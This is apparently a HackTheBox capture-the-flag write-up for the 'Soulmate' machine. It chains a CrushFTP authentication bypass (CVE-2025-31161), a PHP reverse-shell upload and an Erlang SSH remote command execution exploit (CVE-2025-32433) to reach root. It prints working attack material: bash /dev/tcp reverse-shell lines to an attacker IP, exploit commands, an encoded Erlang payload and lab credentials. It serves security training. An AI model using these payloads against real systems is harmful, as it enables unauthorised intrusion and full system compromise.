HTB: Soulmate Writeup
Soulmate - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Soulmate |
| OS | Linux |
| Difficulty | Easy |
| Points | N/A |
| Release Date | N/A |
| IP Address | N/A |
| Author | d3vn0mi |
Machine Rating
⭐⭐☆☆☆ (2/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐⭐☆☆
- CTF-like: ⭐⭐☆☆☆
Summary
Soulmate is an easy difficulty Linux machine that showcases exploitation of real-world vulnerabilities in enterprise software. Starting with assumed breach credentials (jenna/ThisAndThat9901), the attack chain involves discovering a CrushFTP instance via vhost enumeration, exploiting CVE-2025-31161 (authentication bypass) to create an admin account, pivoting to a user account with file upload privileges, and uploading a PHP reverse shell. Privilege escalation leverages an Erlang SSH OTP server running locally, exploiting CVE-2025-32433 to achieve root command execution.
TL;DR: Vhost enumeration → CrushFTP auth bypass (CVE-2025-31161) → admin account creation → user privilege escalation → PHP file upload → reverse shell as www-data → SSH port forwarding → Erlang RCE (CVE-2025-32433) → root shell.
Reconnaissance
Port Scanning
nmap --open 10.129.231.23Results:
PORT STATE SERVICE22/tcp open ssh80/tcp open httpTwo standard services are exposed. Port 80 redirects to http://soulmate.htb, requiring a DNS entry update.
Service Enumeration
HTTP Service (Port 80):
- Hosts a dating website with login and registration functionality
- Redirects to
http://soulmate.htb - Initial enumeration yields a dead-end; further vhost enumeration is required
DNS/Vhost Enumeration:
ffuf -w /usr/share/wordlists/dirb/big.txt -fs 154 -u http://soulmate.htb -H 'Host: FUZZ.soulmate.htb'Discovery:
- Located
ftp.soulmate.htbvhost running CrushFTP 11 (build date: March 8, 2025) - Accessible with provided credentials:
jenna / ThisAndThat9901
CrushFTP (Port 80, vhost ftp.soulmate.htb):
- Upon login as jenna, access to FTP share “IT” containing setup scripts
- Admin panel accessible only to privileged users
- User manager functionality for account manipulation
Vulnerability Assessment
- CVE-2025-31161: CrushFTP 11 authentication bypass allowing unauthorized admin account creation
- CVE-2025-32433: Erlang/OTP SSH server (version 5.2.9) remote command execution vulnerability
- File Upload to Web Root: CrushFTP allows authenticated users to upload arbitrary files to web-accessible directories
- Misconfigured SSH Wrapper: Local Erlang SSH service exposed with hardcoded credentials
Initial Foothold
Exploitation Path
Step 1: Exploit CVE-2025-31161 (CrushFTP Authentication Bypass)
Download the public PoC for CVE-2025-31161 and modify the Host header to target the vhost:
# Relevant modification in exploitheaders = { "Host": 'ftp.soulmate.htb', # Update for vhost "Cookie": "currentAuth=31If; CrushAuth=1744110584619_p38s3LvsGAfk4GvVu0vWtsEQEv31If", "Authorization": "AWS4-HMAC-SHA256 Credential=crushadmin/", "Connection": "close", "User-Agent": random.choice(USER_AGENTS),}Execute the exploit to create an admin user:
python3 CVE-2025-31161.py --target_host 10.129.231.23 --port 80 --new_user tcg --password 'tcg123!'Output:
[+] User created successfully![+] Exploit Complete! You can now login with: [*] Username: tcg [*] Password: tcg123!Step 2: Login as Admin and Reset User Password
- Log out of jenna’s account
- Log in as tcg (newly created admin)
- Navigate to Admin → User Manager
- Select user “ben” from the list
- Generate a random password and save changes
- Note the new password for ben
Step 3: Access File Upload Functionality
- Log out of tcg
- Log in as ben with the newly generated password
- Access the “webProd” FTP share (contains source code of soulmate.htb website)
- Verify file upload capability in this directory
Step 4: Upload PHP Reverse Shell
Create a reverse shell payload:
cat > shell.php << 'EOF'<?php system("bash -c 'bash -i >& /dev/tcp/10.10.14.73/9090 0>&1'"); ?>EOFUpload shell.php to the webProd directory via the CrushFTP interface.
Step 5: Trigger Reverse Shell
Start a netcat listener:
nc -lvnp 9090Access the uploaded shell via HTTP:
curl http://soulmate.htb/shell.phpReverse Shell Achieved:
# On attacker machinelistening on [any] 9090 ...connect to [10.10.14.73] from soulmate.htb [10.129.231.23] 60948bash: cannot set terminal process group (1150): Inappropriate ioctl for devicebash: no job control in this shell
www-data@soulmate:~/soulmate.htb/public$ iduid=33(www-data) gid=33(www-data) groups=33(www-data)Privilege Escalation
Local Enumeration
Run automated enumeration to identify escalation paths:
# Run linpeas or manual inspectionwww-data@soulmate:~$ cat /usr/local/sbin/erlang_login_wrapper#!/usr/bin/env bash# 1) Call Erlang wrapper (logging/policy). Ignore failures.if ! /usr/local/lib/erlang_login/login.escript; then echo "[warn] erlang login wrapper failed; continuing" >&2fi
# 2) Exec the user's login shellUSER_SHELL="${SHELL:-/bin/bash}"exec "$USER_SHELL" -lKey Finding: Erlang OTP SSH server configured in /etc/ssh/sshd_config for user ben.
Identify Erlang SSH Service
Examine SSH configuration:
www-data@soulmate:~$ cat /etc/ssh/sshd_config | grep -A 3 "Match User ben"Match User ben ForceCommand /usr/local/sbin/erlang_login_wrapper PermitTTY yesCheck running services:
www-data@soulmate:~$ ss -tlnp | grep 2222LISTEN 0 5 127.0.0.1:2222 0.0.0.0:*Discovery: Local Erlang SSH service running on port 2222.
Extract Erlang Service Credentials
Examine the Erlang startup script:
www-data@soulmate:~$ cat /usr/local/lib/erlang_login/start.escript#!/usr/bin/env escript%%! -sname ssh_runner
main(_) -> % ... initialization code ...
case ssh:daemon(2222, [ {ip, {127,0,0,1}}, {system_dir, "/etc/ssh"},
% ... other options ...
{user_passwords, [{"ben", "HouseH0ldings998"}]}, {idle_time, infinity}, {max_channels, 10}, {max_sessions, 10}, {parallel_login, true} ]) of % ... response handling ... end.Extracted Credentials: ben / HouseH0ldings998
Exploit CVE-2025-32433 (Erlang RCE)
Step 1: SSH Port Forwarding
Forward the local Erlang SSH service to attacker machine:
ssh -L 2222:127.0.0.1:2222 -N -vv ben@soulmate.htb# Enter password: HouseH0ldings998Step 2: Identify Service Version
nmap -p 2222 -sV -sC 127.0.0.1Output:
PORT STATE SERVICE VERSION2222/tcp open ssh (protocol 2.0)| ssh-hostkey:| 256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)|_ 256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)| fingerprint-strings:| NULL:|_ SSH-2.0-Erlang/5.2.9Identified: Erlang/OTP SSH version 5.2.9 (vulnerable to CVE-2025-32433)
Step 3: Execute RCE Exploit
Download the CVE-2025-32433 public PoC and start a listener:
nc -lvnp 9090Run the exploit with a reverse shell command:
python3 exploit.py --target 127.0.0.1 --port 2222 --command "bash -c 'bash -i >& /dev/tcp/10.10.14.73/9090 0>&1'"Exploit Output:
[*] Connecting to SSH server...[+] Received banner: SSH-2.0-Erlang/5.2.9[*] Sending SSH_MSG_KEXINIT...[*] Sending SSH_MSG_CHANNEL_OPEN...[*] Sending SSH_MSG_CHANNEL_REQUEST (pre-auth)...[*] Erlang payload:os:cmd(binary_to_list(base64:decode("YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4xMzIvOTA5MCAwPiYxJw=="))).[✓] Exploit sent! Command executed on target[+] Received response:Root Shell Achieved:
# On attacker machinelistening on [any] 9090 ...connect to [10.10.14.73] from (UNKNOWN) [10.129.231.23] 59194bash: cannot set terminal process group (2639): Inappropriate ioctl for devicebash: no job control in this shell
root@soulmate:/# iduid=0(root) gid=0(root) groups=0(root)Retrieve Root Flag
root@soulmate:/# cat /root/root.txt<redacted>Attack Chain Summary
Vhost Enumeration (ffuf) ↓CrushFTP Discovery (ftp.soulmate.htb) ↓CVE-2025-31161 Exploitation (auth bypass) ↓Admin Account Creation (tcg) ↓Ben User Password Reset ↓PHP Reverse Shell Upload ↓www-data Shell Obtained ↓Erlang SSH Service Discovery (port 2222) ↓Credential Extraction (ben/HouseH0ldings998) ↓SSH Port Forwarding ↓CVE-2025-32433 Exploitation (Erlang RCE) ↓Root Shell & FlagTools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
ffuf | Vhost fuzzing and discovery |
curl | HTTP requests and reverse shell trigger |
nc | Netcat listener for reverse shells |
ssh | Port forwarding and remote access |
python3 | CVE-2025-31161 and CVE-2025-32433 exploit execution |
linpeas | Automated privilege escalation reconnaissance |
Key Learnings
Techniques Practiced
- Vhost enumeration using fuzzing (ffuf)
- CVE exploitation with modified payloads for environment-specific deployment
- Chained authentication bypasses and privilege escalation
- PHP reverse shell generation and deployment
- SSH port forwarding for accessing local services
- Erlang OTP SSH server vulnerability exploitation
- Credential extraction from application startup scripts
- Multi-stage privilege escalation chains
Lessons Learned
-
Defense-in-Depth is Essential: Multiple vulnerabilities were chained together (CrushFTP auth bypass → file upload → RCE → SSH escalation). Each layer individually might be manageable, but combined they create a complete compromise.
-
Application Configuration Exposes Credentials: Hardcoded credentials in startup scripts (ben password in start.escript) demonstrate why configuration management and secrets vaults are critical in production environments.
-
SSH Wrapper Misconfigurations: Using custom SSH commands (ForceCommand) can be effective for logging, but the underlying authentication mechanism must be secure to prevent privilege escalation.
-
Erlang/OTP Security Updates: The Erlang SSH server vulnerabilities emphasize the importance of keeping dependencies and runtime environments patched, especially for systems handling authentication.
-
File Upload Restrictions: Web applications allowing authenticated users to upload arbitrary files to web-accessible directories create easy paths to RCE. Proper validation, sandboxing, and permission controls are essential.
-
Service Enumeration: Local port enumeration uncovered the Erlang service. Tools like
ssandnetstatare valuable for identifying hidden services that may be unexploitable directly but accessible through SSH tunneling.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>